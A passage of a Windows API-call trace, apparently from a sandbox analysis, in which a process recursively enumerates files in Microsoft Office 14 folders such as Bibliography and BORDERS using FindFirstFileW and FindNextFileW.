cFileName="BCSSync.exe", cAlternateFileName="")) returned 1 [0200.275] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x65ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadata.xsd", cAlternateFileName="BDCMET~2.XSD")) returned 1 [0200.275] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x3321, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadataresource.xsd", cAlternateFileName="BDCMET~1.XSD")) returned 1 [0200.275] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0200.275] GetProcessHeap () returned 0x550000 [0200.275] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0200.275] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0200.430] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.430] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0x7925, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2String.XSL", cAlternateFileName="AUTHOR~1.XSL")) returned 1 [0200.430] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2XML.XSL", cAlternateFileName="AUTHOR~2.XSL")) returned 1 [0200.430] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sort", cAlternateFileName="")) returned 1 [0200.430] GetProcessHeap () returned 0x550000 [0200.430] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26010a0 [0200.431] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0200.454] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.454] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHOR.XSL", cAlternateFileName="")) returned 1 [0200.455] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAG.XSL", cAlternateFileName="")) returned 1 [0200.455] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8c3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TITLE.XSL", cAlternateFileName="")) returned 1 [0200.455] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 1 [0200.455] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 0 [0200.455] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0200.455] GetProcessHeap () returned 0x550000 [0200.455] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0200.455] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0200.455] GetProcessHeap () returned 0x550000 [0200.456] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26010a0 [0200.456] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0200.460] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.460] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9eed00, ftCreationTime.dwHighDateTime=0x1ca5c5e, ftLastAccessTime.dwLowDateTime=0x51448270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9eed00, ftLastWriteTime.dwHighDateTime=0x1ca5c5e, nFileSizeHigh=0x0, nFileSizeLow=0x5cd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="APA.XSL", cAlternateFileName="")) returned 1 [0200.461] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24a63000, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24a63000, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x5282c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHICAGO.XSL", cAlternateFileName="")) returned 1 [0200.461] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25ddce00, ftCreationTime.dwHighDateTime=0x1c93006, ftLastAccessTime.dwLowDateTime=0x619f9510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25ddce00, ftLastWriteTime.dwHighDateTime=0x1c93006, nFileSizeHigh=0x0, nFileSizeLow=0x40188, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB.XSL", cAlternateFileName="")) returned 1 [0200.461] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44d2300, ftCreationTime.dwHighDateTime=0x1c93005, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe44d2300, ftLastWriteTime.dwHighDateTime=0x1c93005, nFileSizeHigh=0x0, nFileSizeLow=0x3cd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostName.XSL", cAlternateFileName="")) returned 1 [0200.461] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828cb900, ftCreationTime.dwHighDateTime=0x1c93005, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x828cb900, ftLastWriteTime.dwHighDateTime=0x1c93005, nFileSizeHigh=0x0, nFileSizeLow=0x3b9d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostTitle.XSL", cAlternateFileName="GOSTTI~1.XSL")) returned 1 [0200.461] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbd7dc00, ftCreationTime.dwHighDateTime=0x1c93004, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbd7dc00, ftLastWriteTime.dwHighDateTime=0x1c93004, nFileSizeHigh=0x0, nFileSizeLow=0x4033d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690.XSL", cAlternateFileName="")) returned 1 [0200.461] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a982900, ftCreationTime.dwHighDateTime=0x1c93004, ftLastAccessTime.dwLowDateTime=0x56263450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a982900, ftLastWriteTime.dwHighDateTime=0x1c93004, nFileSizeHigh=0x0, nFileSizeLow=0x3ee6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690Nmerical.XSL", cAlternateFileName="ISO690~1.XSL")) returned 1 [0200.461] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e2f9800, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e2f9800, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x49051, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLA.XSL", cAlternateFileName="")) returned 1 [0200.461] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb63100, ftCreationTime.dwHighDateTime=0x1c6da3c, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2fb63100, ftLastWriteTime.dwHighDateTime=0x1c6da3c, nFileSizeHigh=0x0, nFileSizeLow=0x3bd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIST02.XSL", cAlternateFileName="")) returned 1 [0200.461] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3556a600, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3556a600, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x52a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 1 [0200.462] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3556a600, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3556a600, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x52a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 0 [0200.462] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0200.463] GetProcessHeap () returned 0x550000 [0200.463] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0200.463] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 0 [0200.463] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0200.463] GetProcessHeap () returned 0x550000 [0200.463] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0200.465] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0200.465] GetProcessHeap () returned 0x550000 [0200.465] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0200.466] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0200.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x7df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART1.BDR", cAlternateFileName="")) returned 1 [0200.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x244c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART10.BDR", cAlternateFileName="")) returned 1 [0200.471] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x78c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART11.BDR", cAlternateFileName="")) returned 1 [0200.471] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe584, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART12.BDR", cAlternateFileName="")) returned 1 [0200.471] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART13.BDR", cAlternateFileName="")) returned 1 [0200.471] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc8bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART14.BDR", cAlternateFileName="")) returned 1 [0200.471] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART15.BDR", cAlternateFileName="")) returned 1 [0200.471] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xb854, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART2.BDR", cAlternateFileName="")) returned 1 [0200.471] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART3.BDR", cAlternateFileName="")) returned 1 [0200.471] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3902, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART4.BDR", cAlternateFileName="")) returned 1 [0200.471] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART5.BDR", cAlternateFileName="")) returned 1 [0200.471] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, 